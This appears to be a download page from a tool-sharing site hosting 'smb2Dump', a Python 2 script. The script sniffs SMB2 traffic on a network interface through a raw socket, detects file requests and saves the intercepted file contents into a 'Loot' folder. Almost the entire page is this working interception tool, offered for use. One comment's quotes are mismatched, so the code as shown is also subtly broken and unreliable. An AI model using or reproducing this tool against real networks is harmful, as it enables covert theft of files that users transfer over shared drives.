SMB2Dump Tool

Download | Vote Up (0) | Vote Down (0)
#!/usr/bin/env python
#
# Author: St0rn
# Site: st0rn.anbu-pentest.com
#
# Description:
# smb2Dump is a tool to dump live smb2 file transfert.
# You can save file 
# but if is not alone (transfert multiple files)
# or too big
# the file will be corrupted.
#
# Use: Scapy 
# Usage smb2Dump.py [device]
#

###### Imports ######

""" Native Imports """
import socket
import random
from os import mkdir,path,system,unlink
from sys import exit,argv
from struct import *
from multiprocessing import Process

""" Scapy is used for IP(), TCP() layers """
try:
 from scapy.all import *
except:
 print "Scapy not installed\n"
 exit(0)

###### Variable ######

""" filename:ip """
fileDump=list() 


###### Functions ######


""" Banner """

def banner():
 print "\n#############################"
 print "#         smb2Dump          #"
 print "#      Author: St0rn        #"
 print "#     anbu-pentest.com      #"
 print "#############################\n   ctrl-c to stop capture\n"
 

""" Clear CLI """

def clear():
 system("/usr/bin/clear")

""" Create Loot dir """

def createDir():
 if not path.isdir("Loot"):
  mkdir("Loot")
  print "[+] Loot dir created\n"
 else:
  print "[!] Loot dir is present\n"

#### Wait for SMB2 Transfert ####

def GetSMB2Transfert(sock): 
 while True:
  buf=sock.recvfrom(65536)
  """ Decode buf string to TCP/IP packet """
  pck=Ether(buf[0])

  """ If the destination port is 139 or 445 (Netbios-over-tcp) and packet have data """
  if pck.haslayer(TCP) and pck.haslayer(Raw):
   if pck[TCP].dport==139 or pck[TCP].dport==445:
    """ Search for SMB2 Create Request packet (0x05) """ 
    load=pck[Raw].load  
    
    ## SMB2 Header ##
    """ Re-used of buf to avoid error with scapy's layers """
    """ Ethernet+IP+TCP+NBSS => 14+20+20+4=58 """
    smb2Header=unpack("!4s2B2BL2B2BLLQLLQ2Q",buf[0][58:122])
    command=smb2Header[6]

    """ If Create cmd (0x05) """
    if command==5:
  
     """ Get File name in SMB2 Create Request """
     ## SMB2 Create Request ##
     """ SMB2 Create Request Frame have 52 bytes before Buffer field """
     """ 3 Bytes at first before oplock field (search Lease oplock => 0xff) """
     """ 52-(3+1)=48 """
     """ And 4 bytes before full path filename """
     """ 3+1+(48+4) bytes to unpack before extract filename """
     smb2CR=unpack("!3s1B52s"+str(len(buf[0][178:]))+"s",buf[0][122:])
     oplock=hex(smb2CR[1])
     if oplock=="0xff":
      temp=str()
      for i in smb2CR[3]:
        if i!='(' and i!="\x00":
         temp+=i
        if i=='(':
         break
      filename=" "
      filename=temp
      
      """ Process file dump """
      if filename not in fileDump: 
       fileDump.append(filename)
       print "[+] %s download %s to Server %s\n" %(pck[IP].src,filename,pck[IP].dst)

      return pck[IP].src, pck[TCP].sport,pck[IP].dst,filename
      break


#### Dump documents (client IP/Port is for security) ####

def smb2Dump(sock,clientIp,clientPort,serverIp,loot):
  dump=list()
  print "[+] Dump started"
  while True:
   buf=sock.recvfrom(65536)
   """ Decode buf string to TCP/IP packet """
   pck=Ether(buf[0])
   
   """ If the destination port is 139 or 445 (Netbios-over-tcp) and packet have data ""
   if pck.haslayer(TCP) and pck.haslayer(Raw):
    if pck[IP].src==serverIp and pck[IP].dst==clientIp and pck[TCP].dport==clientPort:
     if pck[TCP].sport==139 or pck[TCP].sport==445:
      """ Search for SMB2 Read Response packet (0x08) """ 
      load=pck[Raw].load  
     
      ## SMB2 Header ##
      """ Re-used of buf to avoid error with scapy's layers """
      """ Ethernet+IP+TCP+NBSS => 14+20+20+4=58 """
      smb2Header=unpack("!4s2B2BL2B2BLLQLLQ2Q",buf[0][58:122])
      command=smb2Header[6]
      """ If Read cmd (0x08) """
      if command==8:
       smb2RResp=unpack("!HHIII"+str(len(buf[0][138:]))+"s",buf[0][122:])
       dump.append(smb2RResp[5])
       loot.write(smb2RResp[5])
       print smb2RResp[5]
       
       while True:
        buf=sock.recvfrom(65536)
        """ Decode buf string to TCP/IP packet """
        pck=Ether(buf[0])
        """ If the destination port is 139 or 445 (Netbios-over-tcp) and packet have data """
        if pck.haslayer(TCP) and pck.haslayer(Raw):
         if pck[IP].src==serverIp and pck[IP].dst==clientIp and pck[TCP].dport==clientPort:
          if pck[TCP].sport==139 or pck[TCP].sport==445:
           """ Search for SMB2 Read Response packet (0x08) """ 
           load=pck[Raw].load  

           try:
            smb2RResp=unpack("!HHIII"+str(len(buf[0][138:]))+"s",buf[0][122:])
           except:
            #Do nothing
            donothing=1
           
           loot.write(smb2RResp[5])
           dump.append(smb2RResp[5])
           print smb2RResp[5]

###### Main ######

if len(argv)==2:
 """ Begin """
 clear()
 banner()
 createDir()
 rnd=random.randint(1000,9999)
 loot=open("Loot/"+str(rnd),"w")
 
 """ Main socket """
 s=socket.socket(socket.AF_PACKET,socket.SOCK_RAW)
 s.bind((argv[1],0x800))

 try:
  """ Detect transfert """
  client,clientPort,server,name=GetSMB2Transfert(s)
  """ and dump """
  smb2Dump(s,client,clientPort,server,loot)
 except KeyboardInterrupt:
  rep=raw_input("\nSave file? [y/n]: ")
  if rep.lower()=="y" or rep.lower()=="yes":
   print "\n[+] Saving file with name %s\n" %rnd
   loot.close()
  else:
   loot.close()
   unlink("Loot/"+str(rnd))
else:
 print "\nUsage: %s [device]\n" %argv[0]

St0rn


Be the first to give feedback !

Please login to comment !